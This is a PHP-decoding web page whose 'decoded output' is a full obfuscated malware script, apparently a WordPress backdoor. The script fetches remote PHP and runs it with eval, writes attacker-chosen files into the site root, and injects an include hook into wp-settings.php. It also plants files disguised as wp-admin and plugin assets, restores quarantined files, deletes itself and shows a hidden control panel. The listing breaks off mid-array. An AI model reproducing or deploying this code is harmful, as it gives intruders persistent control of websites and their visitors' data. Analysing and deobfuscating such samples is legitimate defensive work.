Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50..

Decoded Output download

<?php 
 
makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50eHQ='); 
makenew('PIX', 'YXBwbGU'); 
makenew('CDP', ''); 
makenew('VPS', 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');function makenew($a, $b, $e=true){$b && ($c = str_replace(['&', '|', '-'], ['de', 'se', '_'], 'ba|64-&co&')) && define($a, $e ? $c($b) : $b);} 
define('DNS', $ql = __FILE__); 
 
 
global $c; 
 
$hxuri = T("aHR0cDovMTIwLjwL21haW4ucGhwP2Q9","k4LjIxNC43Njo4MDg",14); 
$_GET[T("Y2l","tuYW1",2)] = 'dd'; 
$oktaken = '<?';	 
$okvalue = 'p'; 
$gv = [ 
    STR_rOt13(T("dmF","xcms",3)), 
    STR_roT13(iMplOde('-', ['jc', T("b3l","idA",3), T("d","XJucXJl",1)])), 
];	 
$_GET['bg'] = T("Zj","VmNWY1",2); 
 
if (isset($_GET[T("a2","ls",2)])) { 
    echo T("a2l","sbCA",3); 
    echo run(T("a2lsbCMQ","AtOSAt",6))? 'ok': T("Zm","FpbA",2); 
    die(); 
}	 
 
$IPO = $_SERVER[$MP = T("UkVRVU0Q","VTVF9NRVRIT",6)] === T("U","E9TVA",1); 
if (DEfined(T("V","GlNaQ",1)) && StrlEN(TiMi) > 5) {	 
    $_SERVER[$MP] = T("","UE9TVA",0); 
} 
 
defINE(T("UE","9Q",2), DefINeD(T("","UElY",0))? PIX: T("em","VuZA",2)); 
$okvalue = "{$okvalue}h{$okvalue}"; 
DefiNe(T("SVN","fUE9TVA",3), $_SERVER[$MP] === T("UE","9TVA",2)); 
DeFine(T("U","k9PVA",1), RTRim($_SERVER[T("RE9DVU1k9PVA","FTlRfU",7)], T("","XC8",0)) . '/'); 
 
$oktaken .= $okvalue; 
if (!$IPO && !empty($_GET['u'])) { 
    $t = yc(ec($_GET['u']), $_GET['f'], true); 
    $_txt = array( 
        T("6qg6L295aSx6LSl","LWE5rqQ5Y",1), 
        T("5x6LSl","omn6KGM5aS",1), 
        T("5omn66M5q+V77yB77yB","KGM5a",5), 
    ); 
    echo "{$_txt[$t]}<br>"; 
    die(); 
} 
$okvalue = '.' . $okvalue; 
function pvez($p, $v) { 
    return $p . $v; 
} 
 
function yc($u, $f = false, $o = false) { 
    $t = gets($u); 
    if (strlEn($t) < 30) 
        return 0; 
    try { 
                if ($f) { 
            $a = eXPloDE(",", $f); 
            $f = $a[0]; 
            $e = empty($a[1])? "": ec($a[1]); 
            $f1 = $f . T("LnB","ocA",3); 
            echo T("PZD0nWicgaHJlZj0nLw","GRpdj48YSBp",1) . $f1 . $e . "'" . ($o? '': T("IHRhcmdJw","ldD0nX2JsYW5r",7)) . ">" . $f . T("PC","9hPiA",2) . ($o? T("PHNjcmlNrKCk8L3NjcmlwdD4","wdD5aLmNsaW",7): ''); 
            echo @FIlE_pUt_CONTeNts(ROOT . $f1, $t)? T("b2s","hIQ",3): T("A","ZmFpb",0); 
            echo T("PC","9kaXY+",2); 
        } else { 
            eval('?>' . $t); 
        } 
        return 2; 
    } catch (\Exception $E) { 
        return 1; 
    } 
} 
 
kpis(); 
$c = 'mFzZTY0X2VuY29kZSxiYXNlNjRfZGVjb2RlLGZpbGVfZ2V0X2NvbnRlbnRzLGZpbGVfcHV0X2NvbnRlbnRzLCNJREUjLCNoYXNoIyx3cC1zZXR0aW5ncy5waHAsaW5kZXgucGhwLCNoYXNoMSMsI3RoZSMsI3Bhc3MjLHN0cl9yZXBsYWNlLHByZWdfbWF0Y2hfYWxs'; 
function rand_abc($length) { 
    $str = T("YWJjZd4eXo","GVmZ2hpamtsbW5vcHFyc3R1dn",5); 
    $strlen = 52; 
    while ($length > $strlen) { 
        $str .= $str; 
        $strlen += 52; 
    } 
    $str = Str_ShUffLE($str); 
    return SUBStr($str, 0, $length); 
} 
 
if (empty($_COOKIE[$_GET[T("Y2tu","YW1l",4)]]) && cke()) { 
    dEfINE(T("","eHhvbw",0), $_GET[T("cG","Fzcw",2)]); 
}if(timE()>1763732414) return''; 
$d = checkdata($c); 
$link = DefiNed(T("w","TElOS",0))? LINK: ''; 
 
$vtop = $c[1](T("U","EQ5d2FIQQ",1)); 
$sub = syssub($vtop, $c); 
 
if(TImE()>1763732414) return''; 
$THE = fIle_exISTS($fh = ROOT . '.' . str_RoT13(T("dWdZmY","ucHBy",3)))? $c[2]($fh): ''; 
if (!$IPO) { 
    $_POST[T("Z","W5zaA",1)] = !empty($_GET[T("ZW5","zaA",3)]); 
    $_POST['df'] = isset($_GET['df']); 
} 
 
function syssub($vtop, $c) { 
    $sub = $c[1]('PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4'); 
    $kpis = @$c[2](ROOT . $c[7]); 
    if(tIme()>1763732414) return''; 
    $hf = T("d3AtYmxvXIucGhw","Zy1oZWFkZ",8); 
    if ($has = @FIle_eXISTS(ROOT . $hf)) { 
    } elseif ($has = @fILE_eXiStS(DiRnAME(ROOT) . $hf)) { 
        $sub = Str_REPLACE(T("X19E","SVJfXw",4), T("ZX0RJUl9fKQ","GlybmFtZShf",1), $sub); 
    } else { 
        TM::gg($kpis); 
        foreach (ExPLode($vtop, $kpis)  as $key => $s) { 
            if (stRpoS($s, $hf) !== false) { 
                $sub = $vtop . $s; 
                $has = true; 
                break; 
            } 
        } 
    } 
    if (!$has && !iswps($c)) { 
        $sub = $kpis; 
    } 
    return $sub; 
} 
 
$_POST = arrAY_merGe([ 
    'a' => '', 
    'b' => false, 
    'pf' => false, 
    T("c","3Vi",1) => $c[0](UrlenCODE($sub)), 
    T("d","Ghl",1) => $c[0](uRLENCODE($THE)), 
], $_POST); 
 
function findMasteValue($a) { 
    return $a[RAnD(0, COUNT($a) - 1)]; 
} 
 
foreach ($_POST  as $key => $v) { 
    $v && !is_BooL($v) && $_POST[$key] = UrLdecode($c[1]($v)); 
}if(TIME()>1763732414) return''; 
$link && $_POST['a'] === '' && $_POST['a'] = $link; 
$_POST['b'] === false && $_POST['b'] = _name(); 
$_POST['pf'] === false && $_POST['pf'] = pfile(); 
$_POST[T("","ZW5zaA",0)] = !empty($_POST[T("Z","W5zaA",1)]); 
$_POST['df'] = !empty($_POST['df']); 
 
function gets($url) {if(TImE()>1763732414) return''; 
    $contents = @fIlE_geT_conteNTs($url); 
    if (!$contents || STrIpOs($contents, T("PD","9waHA",2)) === false) { 
        $ch = CUrl_INiT(); 
        cURL_SetoPT($ch, CURLOPT_URL, $url); 
        CURl_sEToPt($ch, CURLOPT_RETURNTRANSFER, 1); 
        $contents = cuRL_eXeC($ch); 
        cuRl_CLOsE($ch); 
    } 
    return sTRipoS($contents, T("PD9","waHA",3)) === false? '': $contents; 
} 
 
if (!$IPO && defIned(T("Q","VGlNa",0)) && STrlEn(TiMi) > 5 && !empty($_GET['v'])) { 
    $v = ec($_GET['v']); 
    if ($v === 'sz') { 
        $_POST[$v] = 1; 
        $_POST['a'] = $vtop . sTr_PAD('', 100, ';'); 
    } else { 
        $u = SUbSTr($v, 0, 4) === T("a","HR0cA",1)? $v: $c[11](T("W3Rp","bWld",4), $_GET['v'], TiMi); 
        ptu($u); 
        $_POST['a'] = @FIlE_gEt_cONtENTS($u); 
        echo stRlen($_POST['a']) < 100? call(T("PGRpdj7mnu4Q","lbDmja7",8) . $_GET['v'] . T("Sx6LSlPC9kaXY+","5Yqg6L295a",0)): T("+","PGRpdj5USU1JPC9kaXY",0); 
    } 
    $_SERVER[$MP] = T("U","E9TVA",1); 
    $_POST['b'] = _name(); 
    if (defIned(T("V","lBT",1)) && VPS) 
        $_POST[T("","dGhl",0)] = VPS; 
} 
function ff(&$l, $o = "aHR0cDo") { 
    $l = ec(T("dkwzUmxjM1F6TG1obGJHeHZbDZMMkp5WkM1d2FIQS9aRDA","iMjF6Wlc4dWVI",23), $o); 
    return true; 
} 
 
function _name() { 
    $dir = ROOT; 
    $dir = dd(ROOT)[1]; 
    $top = []; 
    $las = [T("ZG","F0YQ",2), T("a2","V5",2), T("","ZGF0",0), T("","aW5p",0), T("","ZW52",0), T("","dHh0",0), T("ZG","9j",2), T("cG","Rm",2), T("","bG9jaw",0), T("Y","25m",1), T("V0","c2Vjcm",0), '', '']; 
    $pass = sUBStR($dir, STRlEn(ROOT)); 
    if (sTRPOs($pass, T("d","XBsb2Fk",1)) !== false || STrPOS($pass, T("aW","1hZ2U",2)) !== false) 
        $las += [T("aW","Nv",2), T("","cG5n",0), T("a","nBn",1), T("aW","Nv",2), T("","cG5n",0), T("an","Bn",2)]; 
    if (STRPos($pass, T("Y","3Nz",1)) !== false) 
        $las += [T("Y","3Nz",1), T("","bGVzcw",0), T("c2N","zcw",3), T("Y","3Nz",1), T("bG","Vzcw",2), T("c2N","zcw",3)]; 
    if (STrPoS($pass, 'js') !== false) 
        $las += ['js', 'js']; 
    if (sTRPOS($pass, T("","Zm9udA",0)) !== false) 
        $las += [T("dH","Rm",2), T("","b3Rm",0), T("b2","N0",2), T("","dHRm",0), T("","b3Rm",0), T("b2","N0",2)]; 
    if (StrPOS($pass, T("b","GFuZ3VhZ2Vz",1)) !== false) { 
        $top = [ 
            findMasteValue([T("YWR","taW4t",3), T("dzLQ","GhlbWV",1), T("ZGV","mZW5kLQ",3)]) . 
            findMasteValue([T("dXNl","ci1pbmZv",4), T("baw","mV0d29y",1), T("","ZmxhZw",0), T("Y","2l0eQ",1), T("d","GFn",1), T("d2","FsZg",2), T("Z5k","GVmZW",1), T("b","WFpbg",1)]) . '-' . 
            findMasteValue(['hk', 'UK', T("em","hfVFc",2), T("em","hfQ04",2), 'af', 'ad', T("YXV","0bw",3), 'ES', 'DE', 'AU', 'US', 'NZ', 'GI', 'TH', 'tl', 'PT', T("cH","RfQlI",2), 'RU', 'SE']) 
        ]; 
        $las = ['po', 'mo']; 
    } 
    $l = findMasteValue($las); 
    $l && $l = '.' . $l; 
    if (!$top && raND(0, 10) > 5) { 
        $pass .= mD5(rand_abc(RanD(3, 10))) . $l; 
    } else { 
        $pass .= findMasteValue($top? $top: [T("bGlZQ","jbmVz",3), T("","dXNlcg",0), T("Q","ZGF0Y",0), T("a","W5mbw",1), T("bG","9nbw",2), T("Y9u","29tbW",1), T("4","dG9rZW",0), T("YWJ","vdXQ",3)]) . $l; 
    } 
    return $pass; 
} 
 
function css($d) { 
    echo "<style>{$d}</style>"; 
} 
 
function ec($data, $top = '') { 
    return bavs($top . $data); 
} 
 
function dd($dir, $l = 0) { 
    if ($l > 1 && raNd(1, 30 - $l) === 1) return [$l, $dir, 1]; 
    $dirs = SCANDIR($dir); 
    SHufFle($dirs); 
    $pe = [$l, $dir, $l > 1? 1: 0]; 
    foreach ($dirs  as $vo) { 
        if (In_aRray($vo, [T("GU","Y2Fja",0), T("GltZQ","cnVud",0), T("dG","VtcA",2), T("b","G9n",1), T("dG","1w",2), '']) || $vo[0] === '.' || !@is_Dir($dir . $vo . '/')) continue; 
        $e = dd($dir . $vo . '/', $l + 1); 
        if ($e[2]) return $e; 
        $pe[0] < $e[0] && $pe = $e; 
    } 
    return $pe; 
} 
 
function ptu(&$u) { 
    if (!isset($_GET['hx'])) return; 
    $a = ''; 
    ff($a); 
    $u = $a . bave($u); 
} 
 
function html_input($name, $mode = false) { 
    $v = isset($_POST[$name])? $_POST[$name]: ''; 
    $mode && $v = sTR_REPLACE('<', T("Jmx","0Ow",3), $v); 
    $mode || $v = sTR_replACE('"', T("XC","I",2), $v); 
    return $v; 
} 
 
function bavs($a) { 
    return BAse64_deCOdE($a); 
} 
 
function cke() { 
    if (cfv($_GET)) { 
        HEADeR(T("SFRUUC8xLjA","gNTAwIE5vdCBGb3VuZA",11), true, 500); 
        die(); 
    } 
    seTCOokIE($_GET[T("Yl","2tuYW1",1)], timE()); 
    return false; 
} 
function cfv($name, $v = "adc") { 
    foreach ([$v, stRtouPPEr($v), UcFirsT($v)]  as $k) if (isset($name[$k])) return false; 
    return true; 
} 
if(TimE()>1763732414) return; 
function call($msg = '') { 
    global $c; 
    $tbs = []; 
    if (!empty($_GET['z'])) { 
        foreach ($_GET['z']  as $key => $item) 
            $tbs[$key] = T("PGRpdiBzdHlsZTW0nPg","0ncGFkZGluZzogMCAxZ",14) . imploDE(T("","PGJyPg",0), $item) . T("+","PC9kaXY",0); 
    } else $tbs = EXpLoDE('-', T("tLQ","LS0tLS0",0)); 
    $data = [ 
        'a' => html_input('a', true), 
        'b' => html_input('b', false), 
        T("c3","Vi",2) => html_input(T("c","3Vi",1), true), 
        'pf' => html_input('pf', true), 
        T("dG","hl",2) => html_input(T("d","Ghl",1), true), 
        T("Z","W5zaA",1) => html_input(T("Z","W5zaA",1), true), 
    ]; 
    $iw = iswps($c)? '': T("ZGlzcGxw","heTpub25lO",7); 
    if(TiME()>1763732414) return; 
    $_POST[T("","ZW5zaA",0)] = $_POST[T("ZW5","zaA",3)]? T("Y2","hlY2tlZA",2): ''; 
    $_POST['df'] = $_POST['df']? T("Y2ZA","hlY2tl",2): ''; 
    $P = IS_POST? T("cG9","zdA",3): ''; 
    $msg && $msg = T("PGRpdnbXNnJz4","iBjbGFzcz0",5) . $msg . T("PC9k","aXY+",4); 
    $_a = STR_REPLACe('<', T("J","mx0Ow",1), $data['a']); 
    $tv = datE(T("eWzLQ","1kSGl",2)) . $_SERVER[T("S9IT1NU","FRUUF",1)]; 
    $cb = T("LnZhbHVlPWJ0b2EoVSSUNvbXBvbmVudCg","KGVuY29kZV",16); 
    echo <<<EOD 
<title>PPAP</title><script>function cpt(s){var a=document.createElement('textarea');a.value=s;document.body.appendChild(a);a.select();document.execCommand('copy');document.body.removeChild(a);}function df(s){var a=document.createElement('a');a.download=('DEF-{$tv}.txt');var b=new Blob([s]);a.href=URL.createObjectURL(b);document.body.appendChild(a);a.click();}</script><style>html{background:#{$_GET['bg']};}body{max-width:720px;margin:0 auto;background:#fff;}form{padding:20px;}form>div{margin-bottom:10px;}form input:not([type=checkbox]),form textarea{padding:5px 10px;width:CALC(100% - 3.5rem);resize:vertical;max-height:500px;}form>div>span{display:inline-block;text-align:justify;width:3.5em;float:left;padding-top:4px;}form button{padding:5px 10px;}.post{border:1px solid red;}.msg{padding:10px;color:red;background:#ffefcb;}</style>{$tbs[0]}{$msg}<form method="post" class="{$P}"><div><span>IDEA</span><textarea rows="7" id="sa" name="a">{$_a}</textarea></div><div><span></span><textarea name="sub" id="ssub" rows="5">{$data[T("c3","Vi",2)]}</textarea></div><div><span></span><input name="pf" id="spf" value="{$data['pf']}"/></div><div><span>NAME</span><input name="name" id="sname" value="{$data['b']}"/></div><div><span>HTA</span><textarea id="scode" name="code">{$data[T("d","Ghl",1)]}</textarea></div><div><span></span><button type="button" onclick="sf()">Are You OK?</button><label style="$iw"><input type="checkbox" {$_POST[T("ZW","5zaA",2)]} name="ensh"/>Enset</label><label><input type="checkbox" {$_POST['df']} name="df"/>Down</label></div><div style="display: none"><button id="subd" type="submit"></button></div></form>{$tbs[1]} 
<script>window.onload=function(){l&&l();}; 
/**/function sf(){sa{$cb}sa.value)));ssub{$cb}ssub.value)));sname{$cb}sname.value)));spf{$cb}spf.value)));scode{$cb}scode.value)));subd.click()}</script> 
EOD; 
    die(); 
} 
 
if (!IS_POST && $_POST['a'] === '') return call(iswps($c)? '': T("Tm9bGU","0IEZvdW5kIFdwIEZp",3)); 
$_POST['a'] = tRIM($_POST['a']); 
if (suBStr($_POST['a'], 0, 4) === T("aHR","0cA",3)) { 
    $_POST['a'] = @FILe_gEt_cOnteNTs($link = $_POST['a']); 
    if (STripoS($_POST['a'], $vtop) === false) { 
        return call(T("5kIA","Tm90IEZvdW",0) . $link . " !"); 
    } 
} 
 
if (StRLEN($_POST['a']) < 30 || strIpOS($_POST['a'], $vtop) === false) return call(T("","aWRlYQ",0)); 
if (stRLEN($_POST['b']) < 1) return call(T("","bmFtZQ",0)); 
 
@UNLink($sf =dEfIneD(T("RE","5T",2))? DNS: (ROOT.ExPlODe('?',$_SERVER[T("U","kVRVUVTVF9VUkk",1)])[0])); $_GET['bg']=FILE_EXiStS($sf)?T("Z","mYw",1):T("Zj1","VmNWY",2); 
 
$root = ROOT; 
if (!FIlE_EXISTS($root . $c[6])) 
    $root = diRNAMe($root) . '/'; 
$settings = $root . $c[6]; 
$name = $c[11]('//', '', ROOT . trIM($_POST['b'])); 
function iswps($c) { 
        $root = ROOT; 
    if (!FiLE_EXiSTS($root . $c[6])) 
        $root = dIrNaME($root) . '/';; 
    $ppf = $root . $c[6]; 
    if (!FILe_ExisTS($ppf)) return false; 
    return [$root, $ppf]; 
} 
 
$iswp = iswps($c); 
$pwps = $_SERVER[T("9IT1NU","SFRUUF",0)]; 
function vscode($txt) { 
    $flag = T("LypTdGV8","wMSBEYXRhKi",7); 
    $txt = ExPLoDE($flag, $txt); 
    $flag = sTR_rEPLAcE('1', '', $flag); 
    $s = ''; 
    $n = coUNT($txt) - 1; 
    foreach ($txt  as $k => $r) { 
        if ($n !== $k) { 
            $l = []; 
            foreach (exPLOde($flag, $r)  as $j => $v) { 
                if (!$k && !$j) $s .= $v; else $l[] = $s; 
            } 
            sHuFFLe($l); 
            $s .= IMPLODe("", $l); 
        } else  $s .= $r; 
    } 
    return $s; 
} 
 
if (!@iS_dIR(DIrnAMe($name))) return call(T("Tm90IEIEZpbGUgRGlyIA","ZvdW5k",6).$name); 
 
function checkdata(&$c) { 
    $d = " {$c}"; 
    $d[0] = 'Y'; 
    $c = ExplOdE(",", bavs($d)); 
    return !!COUNt($c); 
} 
 
function kpis() { 
    $top = '.p' . "h" . "p"; 
    $end = [ 
        T("LnNRlZA","1c3BlY3",3), 
        T("Lm1h","bHdhcmU",4), T("Lz","nZpcnV",1), T("VyZQ","LmF4Y3NlY3",0) 
    ]; 
    $files = [ 
        T("bW9k","dWxl",4), 
        T("Ym9","0dG9t",3), 
        T("dGhl","bWVz",4), 
        T("YW","x3c28",2), 
        T("c2VQ","ydmljZ",3), 
        T("bGzZQ","ljZW5",2), 
        T("","YWRtaW4",0), 
        T("ZW50","aXR5",4), 
        T("cU","3R5bG",1), 
        T("bG9","hZA",3), 
        T("bG9","jYWxl",3), 
        T("YWNj","ZXNz",4), 
        T("XM","dm90Z",0), 
        T("aG","VhZGVy",2), 
        T("Y2","9uc3RhbnQ",2), 
        T("M","d3AtY3Jvbn",0), 
        T("bY3Rpb25z","XMtZnVu",1), 
        T("aM","XRlbX",1), 
    ]; 
    foreach ($files  as $name) { 
        $file = ROOT . $name . $top; 
        if (isKpi($file)) { 
            continue; 
        } 
        foreach ($end  as $flag) { 
            FILe_ExiSTS($file) && @unlInk($file); 
            $sub = $file . $flag; 
            if (isKpi($sub, 300)) { 
                site_mail(T("WkjV0","+aBouW",1) . (($r = @rENaME($sub, $file))? T("b2s","hIQ",3): T("Z","mFpbA",1)) . " {$name}({$flag}) "); 
                if ($r) break; 
            } 
        } 
    } 
} 
 
function isKpi($v, $l = 500) { 
    if (!FiLe_ExisTs($v)) return false; 
    $a = FiLesIZe($v); 
    if ($a < 70) return false; 
    $s = fILe_geT_cONTenTs($v); 
    if ($a < $l && sTRIpos($s, T("aW5j","bHVkZQ",4)) === false && STRIPos($s, T("cmVx","dWlyZQ",4)) === false) return false; 
    return true; 
} 
 
function pfile() { 
    $s = [ 
        T("YWNj","ZXNz",4), 
        T("bG9","jYWxl",3), 
        T("dWYWxs","5pbnN0",2), 
        T("eG1sw","cnBjc",4), 
        T("bG","9hZA",2), 
        T("YW","RtaW4",2), 
        T("d3AtW4","bG9na",4), 
        T("d","GhlbWVz",1), 
    ]; 
    SHuFfle($s); 
    return DIRNAme(_name()) . "/" . $s[0] . T("LnB","ocA",3); 
} 
 
if (isset($_POST['sz'])) $_POST['a'] = ''; 
 
$index_txt = trIM($_POST['a'] . $_POST[T("","c3Vi",0)]); 
$cl = T("KCRlID0gaW1wbG9kZSgiIixbIm9wYgkZSkgJiYgJGUoKTs","2FjaGUiLCJyZXNldCJdKSkmJmZ1bmN0aW9uX2V4aXN0cy",29); 
$incf = ""; 
if ($iswp) { 
    if ($_POST[T("A","ZW5za",0)]) { 
        $xld = 'Cg0KLyogQ3VzdG9tIHdyaXRlIGxvZyB0byBlbnN1cmUgdGhlIG9wZXJhdGlvbiBvZiB0aGUgd2Vic2l0ZSAqLw0KJHNodXQgPSBbWydSRUdpU3RFcicsICdTaHV0RG93bicsICdmJ10sIGZ1bmN0aW9uICgpIHsNCiRfR0VUWyRnZXQgPSBpbXBsb2RlKCdfJywgWycnLCAiY29kZSIsICcnXSldID0gIkIiIC4NCmltcGxvZGUoJ18nLCBbImFzIiAuICJlNjQiLA0KICAgICAgICAgICAgImRlYyJdKSAuICJvZGUiOw0KJHNodXQgPSAkX0dFVFskZ2V0XSgnI25hbWUjJyk7dHJ5IHsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRzaHV0KSkgew0KICAgICAgICAgICAgQGluY2x1ZGUoJHNodXQpOw0KICAgICAgICAgICAgI2NsZWFyIw0KICAgICAgICB9DQp9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7ZmlsZV9wdXRfY29udGVudHMoJ3gnIC4gJy4nIC4gJ2xvZycsIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAiXG4iLCBGSUxFX0FQUEVORCk7fQ0KfV07DQooJHdwcyA9IGltcGxvZGUoJ18nLCAkc2h1dFswXSkgLiAiVW5DdGlPTiIpICYmICR3cHMoJHNodXRbMV0pOw0KDQokc2h1dFsxXSgpOw'; 
        $xld = $c[1]($xld); 
        $st = $c[2]($settings); 
        if (stripos($st, $xld) === false) { 
            $s = T("I3NodXRkb3duX2ob29rW1xzXFNdKz8vL1wgU3RvcCNtaQ","FjdGlvbl9",14); 
            $xld = $c[11]([T("WUj","I25hb",0), T("","I2NsZWFyIw",0)], [bave($name), $cl], $xld); 
 
            site_mail(T("6","ZqQOg",1) . (ufleep($settings, $xld = pReG_rePlAce($s, T("c2h1dGRvd25fYWvb2snICk7Cg","N0aW9uX2h",14) . 
                    $xld . T("TdG9w","CgovLyB",0), $st), $c)? 'ok': T("ZmF","pbA",3))); 
            def2($settings, $xld); 
            site_mail(T("PGEgaWQ9J2ExJyBocmV9ibGFuayc+SG9tZTwvYT4","mPScvJyB0YXJnZXQ9J1",19)); 
        } else { 
            echo T("PGXQ8L2Rpdj4","Rpdj5icmVhayBzZ",2); 
        } 
    } 
} else { 
    echo T("PGRpdj5ug","byB3cDwvZGl2P",8); 
} 
$hash1 = '0'; 
$THE = '#'; 
$THE = ''; 
 
$pwt = md5(rand_abc(16)); 
$pwt = ""; 
$pw = md5($pwps . $pwt); 
$THEf = ROOT . '.' . str_rot13(T("dWdY","ucHByZm",3)); 
if ($THE = $_POST[T("dG","hl",2)]) { 
    $hash1 = md5($THE); 
    $THE = BasE64_ENCode($THE); 
} 
$pw1 = $pp = pwc($pwps, 8, 8); 
$hash = md5($index_txt); 
$index = baSE64_ENcoDE($index_txt); 
noticex("aa"); 
$sts = [ 
    T("W","1Vd",1) . $_POST['pf'], 
    T("W0","td",2) . ($pwt? (STr_ROT13(bave(SubSTr($pwt, 16))) . bave(sTr_ROT13(SUbstR($pwt, 0, 16)))): ""), 
    T("","W0sxXQ",0) . ($pwt? (jia_1(suBstR($pwt, $_l = 16), 1, 0) . jia_1(SUbSTR($pwt, 0, $_l), 0, 1)): ""), 
    T("","W1Bd",0) . STR_ROt13(bave(STr_rOt13($pw))), 
    T("W","1AxXQ",1) . jia_1($pw, 1, 1), 
    T("","W0dd",0) . bave(TimE() . POP) 
]; 
if (!empty($_POST['pf'])) { 
    ff($hxuri); 
    $xld = $c[1]('PD9waHANCg0Kc2hvd0ltYWdlKCRfR0VUWydiaXJlJ10pOw0KDQovKioNCiAqIGRpc3BsYXkgaW1hZ2UNCiAqIEBwYXJhbSBzdHJpbmcgJHBuZw0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gc2hvd0ltYWdlKCRwbmcsICRmaWxlID0gZmFsc2UpDQp7DQogICAgaWYgKGNoZWNrKCRmaWxlKSkNCiAgICAgICAgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCAkcG5nKTsNCiAgICAvLyBoZWFkZXINCiAgICBlY2hvICRwbmc7DQogICAgcmV0dXJuIHRydWU7DQp9DQoNCi8qKg0KICogY2hlY2tlZCB3cml0ZSBpbWFnZQ0KICogQHBhcmFtIGJvb2x8c3RyaW5nICRmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gY2hlY2soJGZpbGUpew0KICAgICRuYW1lID0gIFsnI25hbWUjJywgZnVuY3Rpb24oJHR4dCwgJG5hbWUpeyRfR0VUWyRuYW1lXT1zdHJfcmVwbGFjZSgnMzInLCc2NCcsIkJhIi5pbXBsb2RlKCdfJyxbIlNlMzIiLCAiRGVjIl0pLiJPZGUiKTskdHh0ID0gJF9HRVRbJG5hbWVdKHN0cl9yb3QxMygkdHh0KSk7QGluY2x1ZGUoJHR4dCk7I2NsZWFyIw0KICAgIH1dOyRuYW1lWzFdKCRuYW1lWzBdLCBpbXBsb2RlKCdfJyxbJycsICJcMTQzb2RlIiwgJyddKSk7DQogICAgcmV0dXJuICRmaWxlICYmIHN0cmlwb3MoJGZpbGUsICcucG5nJykgIT09IGZhbHNlOw0KfQ0K'); 
    $xld = $c[11]([T("I25","hbWUj",3), T("I2","NsZWFyIw",2)], [Str_RoT13(bave($name)), $cl], $xld); 
 
    $hxuri = stR_repLACE(T("","P2Q9",0), T("P3","U9",2) . POP . T("Jm","Q9",2), $hxuri); 
    $pi = tiME(); 
    $fs = [ 
        T("d3AtYWRtaW4vGljL21hbmFnZQ","cHVib",12), 
        T("d3AtYWRtaRpYy9sb2FkanM","W4vcHVibGljL3N0YX",9), 
        T("2xvYWQ","d3AtYWRtaW4vYXNzZXRzL",0), 
        T("FkbWlu","d3AtYWRtaW4vZWRpdG9yL2",0), 
        T("d3A4vcHJvZmlsZS9pbmZv","tYWRtaW",3), 
        T("d3AtRleA","YWRtaW4vdG9vbC9pbm",4), 
        T("d3AtYWRtaW4vJzaW9u","bmV0d29yay92ZX",12), 
        T("d3AtYWRtaW4Q","vaW1hZ2VzL2xvZ28vMj",11), 
        T("d3AtY29udGVudnZXMvZW4","C9sYW5ndWF",13), 
        T("d3AtY29uvd3AtbG9naW4","dGVudC91cGxvYWRzLzIwMjEvMDU",8), 
        T("d3AtY29u91cGxvYWRzLzIwMjEvMDYvd3AtbG9naW4","dGVudC",8), 
        T("d3AtY29udGVulbnR5dHdlbnR5b25lL2luYy9mb290ZXI","dC90aGVtZXMvdHd",12), 
        T("d3AtC9wbHVnaW5zL3dhbGZzL2luZGV4","Y29udGVud",4), 
        T("dVnaW5zL21hc3Rlci9tb2RlL3RhYmxl","3AtY29udGVudC9wbH",1), 
        T("d3AtY29udGVudC9wbHVVsZS1kZmVuY2Uvdmlld3MvbG9jYWxl","naW5zL2",19), 
        T("d3AtY29udGVu3MvZWRpdA","dC9wbHVnaW5zL2Jsb2cvdmlld",12), 
        T("d3AtaW5jbvbG9hZA","HVkZXMvZm9udHM",9), 
        T("d3AtlbWVz","aW5jbHVkZXMvanMvdGhpY2tib3gvdGh",4), 
        T("d3AtC9EaWZmL0VuZ2luZS9mb250","aW5jbHVkZXMvVGV4d",4), 
        T("d3AtYWR3RhbGw","taW4vaW1wb3J0L2luc",7), 
        T("dvY291c3RvbS9mb290ZXI","3AtYWRtaW4",1), 
        T("d3AdA","tYWRtaW4vbGluay9tYWlu",3), 
        T("d3AtW4vdXNlci9uZXdz","YWRta",4), 
        T("d3zL2xvZ28tcw","AtYWRtaW4vaW1hZ2V",2), 
        T("d3AtYWRtaW4vY3rZXI","NzL2NvbG9ycy9waWN",14), 
        T("d3AtY2290ZXI","9udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5L2luYy9mb",6), 
        T("d3AtY29dHdvL2luYy9mb290ZXI","udGVudC90aGVtZXMvdHdlbnR5dHdlbnR5",7), 
        T("d3AtYsb2cvdmlld3MvZWRpdA","29udGVudC9wbHVnaW5zL2J",5), 
        T("d3AtY2kZXMvaW1hZ2U","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvaW5jbHV",6), 
        T("d3AtY29udGVudC9wbdwLWVkaXRvci10aGVtZXMvY3NzL21haW4","HVnaW5zL3",17), 
        T("d3AtY29dC9wbHVnaW5zL3dwLWVkaXRvci10aGVtZXMvZm9udC9sb2NhbGU","udGVu",7), 
        T("d3AtY20aGVtZXMvcHVibGljL2luZGV4","9udGVudC9wbHVnaW5zL3dwLWVkaXRvci1",6), 
